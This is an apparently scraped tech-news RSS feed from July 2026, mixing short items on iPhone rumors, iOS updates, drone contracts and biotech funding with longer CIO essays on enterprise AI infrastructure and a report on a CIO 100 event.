<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[iPhone 20 Pro Max may get Apple's largest ever iPhone screen at 7 inches]]></title>
<description><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary iPhones, although that isn't as great an increase as it sounds.The display on the current iPhone 17 Pro Max is 6.86 inches.One recent rumor claimed that Apple had begun production ...]]></description>
<link>https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</guid>
<pubDate>Tue, 21 Jul 2026 11:57:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a>, although that isn't as great an increase as it sounds.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68308-143998-000-lead-iPhone-17-Pro-Max-display-xl.jpg" alt="Modern smartphone lying on a dark surface, screen displaying a vivid purple and pink abstract flower-like pattern with bright glowing center and small light reflections" height="720"><br><span>The display on the current iPhone 17 Pro Max is 6.86 inches.</span></div><br>One recent rumor claimed that Apple had begun <a href="https://appleinsider.com/articles/26/05/21/rumor-2027-iphone-production-testing-underway-with-quad-curved-oled-display">production evaluation</a> for a 2027 iPhone with a display that is curved on all four sides. Then another claimed that the <a href="https://appleinsider.com/inside/iphone-20" title="iPhone 20" data-kpt="1">iPhone 20</a> range would feature a <a href="https://appleinsider.com/articles/26/07/14/glass-production-plans-give-the-iphone-20-redesign-new-credibility">significant redesign</a>.<br><br>For the first time, though, a leaker is claiming that Apple is testing what would be its largest iPhone screen. According to Digital Chat Station on Chinese social media site Weibo, if it goes ahead with this screen, Apple will market it as being a <a href="https://weibo.com/6048569942/R9G4trdtx">7-inch one</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245009?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[New data claims small businesses haven't expanded their use of AI in the past few years]]></title>
<description><![CDATA[SMBs are using AI, but many are still using it for very basic automation indicating genuine use cases are still lacking.]]></description>
<link>https://tsecurity.de/de/3683254/it-nachrichten/new-data-claims-small-businesses-havent-expanded-their-use-of-ai-in-the-past-few-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683254/it-nachrichten/new-data-claims-small-businesses-havent-expanded-their-use-of-ai-in-the-past-few-years/</guid>
<pubDate>Tue, 21 Jul 2026 11:49:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SMBs are using AI, but many are still using it for very basic automation indicating genuine use cases are still lacking.]]></content:encoded>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Google wants to release 32 million sterile mosquitoes. Our Australian tests offer a valuable lesson | Nigel Beebe for the Conversation]]></title>
<description><![CDATA[Google’s ‘Debug’ project in California and Florida aims to reduce mosquito numbers by releasing millions of sterilised malesIn the United States, Google’s (now Alphabet) Debug initiative has asked the federal government for permission to release up to 32 million sterilised male mosquitoes in Cali...]]></description>
<link>https://tsecurity.de/de/3683035/it-nachrichten/google-wants-to-release-32-million-sterile-mosquitoes-our-australian-tests-offer-a-valuable-lesson-nigel-beebe-for-the-conversation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683035/it-nachrichten/google-wants-to-release-32-million-sterile-mosquitoes-our-australian-tests-offer-a-valuable-lesson-nigel-beebe-for-the-conversation/</guid>
<pubDate>Tue, 21 Jul 2026 10:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s ‘Debug’ project in California and Florida aims to reduce mosquito numbers by releasing millions of sterilised males</p><p>In the United States, Google’s (now Alphabet) Debug initiative has asked the federal government for permission to release up to 32 million <a href="https://www.theguardian.com/technology/2026/jun/01/google-permission-release-mosquitoes-california-florida">sterilised male mosquitoes</a> in California and Florida.</p><p>Male mosquitoes don’t bite or <a href="https://www.csiro.au/en/news/all/news/2018/july/trial-wipes-out-more-than-80-per-cent-of-disease-spreading-mozzie">carry disease</a>. The hope is these millions of male mosquitoes will mate with disease-carrying females, the eggs won’t hatch and mosquito numbers will fall.</p> <a href="https://www.theguardian.com/environment/2026/jul/21/google-mosquito-project-release-debug-australia-test">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[iOS 26.6 Release Candidate Is Here: Everything You Need to Know]]></title>
<description><![CDATA[Apple has released the iOS 26.6 Release Candidate for developers and public beta testers. The update carries build number 23G71 and represents the final testing stage before iOS 26.6 becomes available to all compatible iPhone users.



The release remains a relatively small update, with Apple foc...]]></description>
<link>https://tsecurity.de/de/3682914/ios-mac-os/ios-266-release-candidate-is-here-everything-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682914/ios-mac-os/ios-266-release-candidate-is-here-everything-you-need-to-know/</guid>
<pubDate>Tue, 21 Jul 2026 09:25:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the iOS 26.6 Release Candidate for developers and public beta testers. The update carries build number 23G71 and represents the final testing stage before iOS 26.6 becomes available to all compatible iPhone users.



The release remains a relatively small update, with Apple focusing mainly on security fixes, system stability, performance improvements, and preparation for the upcoming transition to iOS 27.



Since this is still beta software, users should create a complete iCloud or computer backup before installing it on their main iPhone.



How to Install iOS 26.6 RC



Follow these steps to download the iOS 26.6 Release Candidate:




Open the Settings app on your iPhone.



Select General.



Tap Software Update.



Select Beta Updates.



Choose iOS 26 Public Beta or iOS 26 Developer Beta.



Return to the Software Update screen.



Tap Download and Install.



Enter your iPhone passcode when requested.



Keep the device connected to Wi-Fi and a charger until installation finishes.




Your Apple Account must be registered with the relevant beta program for the update to appear. Users who already have an earlier iOS 26.6 beta installed can download the RC directly through Software Update.



All Changes in iOS 26.6 RC



Apple has not introduced any major visual changes or large new features in this release. The update mainly includes the following improvements:




Bug fixes and stability improvements: iOS 26.6 RC addresses system problems discovered during beta testing and improves general reliability across compatible iPhones.



Security updates: The release includes security patches and additional protections designed to reduce potential risks within the operating system.



Improved Apple Maps security: Apple has added a new security framework for Apple Maps that helps isolate and validate incoming data before it reaches other parts of the system.



Blocked contacts limit warning: The iPhone now displays an alert when a user reaches the maximum limit of 20,000 blocked contacts. Users must remove an existing blocked contact before adding another one.



Spotlight indexing improvements: The update includes changes to Spotlight indexing that help prepare devices for the future upgrade to iOS 27.



Performance improvements: Apple has continued refining system responsiveness, background processes, and overall performance ahead of the public release.




Apple could release the same build to the public if testers do not discover any serious problems. However, the company can issue another Release Candidate if additional fixes are required.



If you have already installed the iOS 26.6 RC update, let us know about its performance, battery life, and any problems you have noticed in the comments.]]></content:encoded>
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<title><![CDATA[Investors bet on AI drug discovery despite approval gap]]></title>
<description><![CDATA[US specialist venture firm Dimension Capital raises $800mn fund to back AI-designed medicines]]></description>
<link>https://tsecurity.de/de/3682744/ai-nachrichten/investors-bet-on-ai-drug-discovery-despite-approval-gap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682744/ai-nachrichten/investors-bet-on-ai-drug-discovery-despite-approval-gap/</guid>
<pubDate>Tue, 21 Jul 2026 07:33:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[US specialist venture firm Dimension Capital raises $800mn fund to back AI-designed medicines]]></content:encoded>
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<title><![CDATA[US startup founded by former teenage drone racers just won one of the Pentagon's biggest small-drone deals — Neros has shipped tens of thousands of UAVs to Ukraine and inked a $500M contract]]></title>
<description><![CDATA[Two drone-racers who were told they couldn't "waltz into the Pentagon" and sell weapons just won a $500 million US Army contract to do exactly that.]]></description>
<link>https://tsecurity.de/de/3682423/it-nachrichten/us-startup-founded-by-former-teenage-drone-racers-just-won-one-of-the-pentagons-biggest-small-drone-deals-neros-has-shipped-tens-of-thousands-of-uavs-to-ukraine-and-inked-a-500m-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682423/it-nachrichten/us-startup-founded-by-former-teenage-drone-racers-just-won-one-of-the-pentagons-biggest-small-drone-deals-neros-has-shipped-tens-of-thousands-of-uavs-to-ukraine-and-inked-a-500m-contract/</guid>
<pubDate>Tue, 21 Jul 2026 02:16:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Two drone-racers who were told they couldn't "waltz into the Pentagon" and sell weapons just won a $500 million US Army contract to do exactly that.]]></content:encoded>
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<title><![CDATA[Colossal Biosciences reportedly in talks to raise new capital at $20B–$30B valuation]]></title>
<description><![CDATA[The de-extinction startup is looking to double or triple its previous valuation, according to the report.]]></description>
<link>https://tsecurity.de/de/3682408/it-nachrichten/colossal-biosciences-reportedly-in-talks-to-raise-new-capital-at-20b-30b-valuation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682408/it-nachrichten/colossal-biosciences-reportedly-in-talks-to-raise-new-capital-at-20b-30b-valuation/</guid>
<pubDate>Tue, 21 Jul 2026 01:48:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The de-extinction startup is looking to double or triple its previous valuation, according to the report.]]></content:encoded>
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<title><![CDATA[New Orleans Cops Published Policy Document Allowing Weaponized Drones]]></title>
<description><![CDATA[A draft New Orleans Police Department drone manual briefly published online would have allowed police drones to carry weapons with written approval from the superintendent, according to 404 Media. NOPD says the document was only an early draft and that its current policy (PDF) bans drones from ca...]]></description>
<link>https://tsecurity.de/de/3682368/it-security-nachrichten/new-orleans-cops-published-policy-document-allowing-weaponized-drones/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682368/it-security-nachrichten/new-orleans-cops-published-policy-document-allowing-weaponized-drones/</guid>
<pubDate>Tue, 21 Jul 2026 01:23:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A draft New Orleans Police Department drone manual briefly published online would have allowed police drones to carry weapons with written approval from the superintendent, according to 404 Media. NOPD says the document was only an early draft and that its current policy (PDF) bans drones from carrying weapons or hazardous materials. 404 Media reports: The current version, live as of July 1, has different language: "The sUAS shall not be equipped with weapons or hazardous materials of any kind," referring to small Unmanned Aerial Systems, or drones. According to the NOPD, the operations manual it published to the internet with the rules for weaponized drones was an early draft. "The manual published on July 1 is the current published version of the policy. Earlier versions were draft versions that were presented for review before adoption of the current policy," NOPD told 404 media. "NOPD has made it clear we are not and will not be equipping drones with weapons or other hazardous materials."
 
NOPD didn't answer follow-up questions about how or why the draft version of the manual was published. But the publication of a police drone manual that opens the door for weaponized quadcopters is important, and comes as drone companies and police flirt with the idea of putting weapons on their drones. New Orleans has long been a pioneer of camera and drone driven policing and the cops have used controversial tactics to get around public scrutiny and regulations. It shows that what the police are circulating amongst themselves and thinking about privately, what they perhaps want to happen, does not match public policy.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/20/2259204/new-orleans-cops-published-policy-document-allowing-weaponized-drones?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



